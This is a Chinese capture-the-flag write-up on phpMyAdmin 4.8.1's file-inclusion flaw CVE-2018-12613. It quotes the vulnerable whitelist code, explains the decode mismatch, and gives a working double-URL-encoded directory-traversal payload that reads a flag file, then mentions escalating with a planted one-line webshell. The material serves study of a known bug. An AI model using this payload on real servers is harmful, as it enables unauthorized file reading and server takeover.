看上去像是某种编码,又或者是使用了不兼容的解码方式...看答案...
说是将txt转化为md格式就能看到。
抓包、扫描查找其他线索。
phpmyadmin是数据库管理工具,phpinfo是查看php配置信息。访问一下试试:
访问phpinfo.php显示的是本机php配置,访问phpmyadmin显示的是工具界面,可以看到只有一个空的test数据库。应该又是什么新鲜知识,看答案...
phpmyadmin4.8.1中的真实漏洞CVE-2018-12613:
$target_blacklist = array (
'import.php', 'export.php'
);
// If we have a valid target, let's load that script instead
if (! empty($_REQUEST['target'])
&& is_string($_REQUEST['target'])
&& ! preg_match('/^index/', $_REQUEST['target'])
&& ! in_array($_REQUEST['target'], $target_blacklist)
&& Core::checkPageValidity($_REQUEST['target'])
) {
include $_REQUEST['target'];
exit;
}
public static function checkPageValidity(&$page, array $whitelist = [])
{
if (empty($whitelist)) {
$whitelist = self::$goto_whitelist;
//这里传入的whitelist本来就是空的,所以whitelist就是goto_whitelist
}
if (! isset($page) || !is_string($page)) {
return false;
}
if (in_array($page, $whitelist)) {
return true;
}
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
//mb_strpos返回第一个查找到的?的位置
//这里先把$page和?拼接在一起,防止$page里面本来就没有?,然后再获取$page中?之前的部分
if (in_array($_page, $whitelist)) {
return true;
}
//进行url解码了,以防传进来的数据进行了url编码
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
return false;
}
为什么是截取到第一个问号进行白名单过滤呢?
访问某文件如 /index.php 时可以通过?a=1?b=2来设置查询参数。
截取问号前的部分是为了提取真正的 PHP 脚本名(如 index.php
),而忽略其后的查询参数。
public static $goto_whitelist = array(
'db_datadict.php',
'db_sql.php',
'db_events.php',
'db_export.php',
等等等等
);
存在文件包含漏洞。为什么使用的是白名单还有文件包含漏洞呢?原因就在于这里存在url解码后过滤但是包含的是解码前的内容。某个路径可以满足url解码后能通过白名单过滤(利用代码中的字符串截取)但是其实并非白名单中的文件路径(利用目录遍历特性),从而导致任意文件包含漏洞。我猜测修补方案就是保证过滤和包含的文件路径解码统一。
构造playload:
/db_sql.php?../../../../../../flag 该路径能通过白名单过滤,但是包含的是db_sql.php文件(如果存在),将问号后的内容作为查询参数。
将问号进行两次url编码:/db_sql.php%253F../../../../../../flag,首先该参数传到服务端时会自动进行一次url解码,然后过滤时再进行一次url解码,得到/db_sql.php?../../../../../../flag,可以通过白名单过滤。并且include('/db_sql.php%3F../../../../../../flag') (包含解码一次后的路径) 时利用一个目录遍历特性:
这里的db_sql.php%3F虽然是一个不存在的路径,但是并不影响目录穿越。
/phpmyadmin/?target=db_sql.php%253F../../../../../../../flag
成功拿到flag。
但是这里有个问题,假如flag不是放在根目录中怎么办?
可以通过植入一句话木马,参考下面这篇博客:phpMyAdmin 4.8.1后台文件包含漏洞(CVE-2018-12613)_phpmyadmin4.8.1 漏洞-CSDN博客